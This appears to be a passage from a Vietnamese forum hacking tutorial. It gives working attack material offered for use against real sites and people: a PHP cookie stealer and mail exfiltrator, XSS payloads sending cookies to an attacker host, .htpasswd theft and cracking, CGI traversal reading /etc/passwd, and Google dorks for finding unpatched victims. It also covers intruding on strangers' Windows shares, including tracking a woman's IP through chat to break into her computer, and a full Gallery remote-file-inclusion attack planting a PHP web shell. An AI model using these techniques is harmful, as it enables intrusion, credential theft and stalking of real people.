if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)\">


hoặc:

javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\"> 


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

=================================================== =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .
Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….


Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )

28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá

powered by

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

``/admin hay /advadmin hay /hosting``

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }
echo `` ``;
? >


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net


Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải ch

find_ip_by_yahoo

Cách tìm IP qua chat YM

--------------------------------------------------------------------------------

Đầu tiên bạn vào Start ---> cmd ( hoặc command , tùy vào dv có khoá hay không ) ---> nó sẽ hiện lên 1 màn hình DOS , bạn bấm lệnh :

c:windows> netstat -an


Code:
Active Connections



Proto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1032 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1042 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1044 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1046 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1048 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1178 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1772 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1774 0.0.0.0:0 LISTENING

TCP 0.0.0.0:5101 0.0.0.0:0 LISTENING

TCP 10.0.0.70:139 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1042 207.46.249.56:80 CLOSE_WAIT

TCP 10.0.0.70:1044 207.46.244.158:80 CLOSE_WAIT

TCP 10.0.0.70:1046 207.46.197.121:80 CLOSE_WAIT

TCP 10.0.0.70:1054 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1178 216.155.193.179:5050 ESTABLISHED

TCP 10.0.0.70:1242 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1242 10.0.0.99:139 ESTABLISHED

TCP 10.0.0.70:1767 0.0.0.0:0 LISTENING

TCP 10.0.0.70:1767 10.0.0.199:139 ESTABLISHED

TCP 10.0.0.70:1771 66.98.134.72:80 TIME_WAIT

TCP 10.0.0.70:1772 66.98.134.72:80 ESTABLISHED

TCP 10.0.0.70:1774 66.98.134.72:80 ESTABLISHED

TCP 127.0.0.1:1031 0.0.0.0:0 LISTENING

UDP 0.0.0.0:445 *:*

UDP 10.0.0.70:137 *:*

UDP 10.0.0.70:138 *:*

UDP 10.0.0.70:500 *:*

UDP 10.0.0.70:4500 *:*

UDP 127.0.0.1:1183 *:*

UDP 127.0.0.1:1223 *:*

UDP 127.0.0.1:1298 *:*

UDP 127.0.0.1:1494 *:*
_ Tiếp theo bạn để ý 1 cái này hen . IP của YM khi chat qua mạng dv ADSL thường bị giấu mất tích cái đuôi cs52.msg.dcn.yahoo.com . Nên khi đó bạn phải xác định thật chính xác số IP của mình là bao nhiêu đã nhé . Nhưng thông thường khi bạn chat như thế thì để ý cái :

TCP 10.0.0.70:1178 216.155.193.179:5050 ESTABLISHED

Nhất là dòng chữ ESTABLISHED và port 5050 nó chính là thằng Yahoo đó . Bạn bấm tiếp lệnh :

C:window>tracert 216.155.193.179


Code:
Tracing route to cs52.msg.dcn.yahoo.com ( cái này chứng tỏ mình đã xác định đúng ) [216.155.193.179]

over a maximum of 30 hops:



1 <10 ms <10 ms <10 ms 10.0.0.138

2 10 ms 10 ms 10 ms 203.162.164.1

3 10 ms 10 ms 20 ms localhost [203.210.147.33]

4 70 ms 90 ms 30 ms localhost [203.210.146.10]

5 20 ms 30 ms 20 ms 203.162.119.161

6 30 ms 20 ms 60 ms 203.162.6.35

7 80 ms 90 ms 40 ms 203.162.27.70

8 * * * Request timed out.

9 * * * Request timed out.

10 * * * Request timed out.

11 * * * Request timed out.

12 * * * Request timed out.

13 * * * Request timed out.

14 * * * Request timed out.

15 * 300 ms 321 ms dcr1-loopback.Washington.savvis.net [206.24.226.99]

16 350 ms 321 ms 330 ms bhr1-pos-10-0.Sterling2dc3.savvis.net [206.24.238.38]

17 * 400 ms 361 ms 216.109.75.254

18 381 ms 410 ms 391 ms vl47.bas1-m.dcn.yahoo.com [216.109.120.218]

19 390 ms 341 ms 380 ms cs52.msg.dcn.yahoo.com [216.155.193.179]



Trace complete.- Cuối cùng nó cái cái mình cần tìm là đây :

3 10 ms 10 ms 20 ms localhost [203.210.147.33]
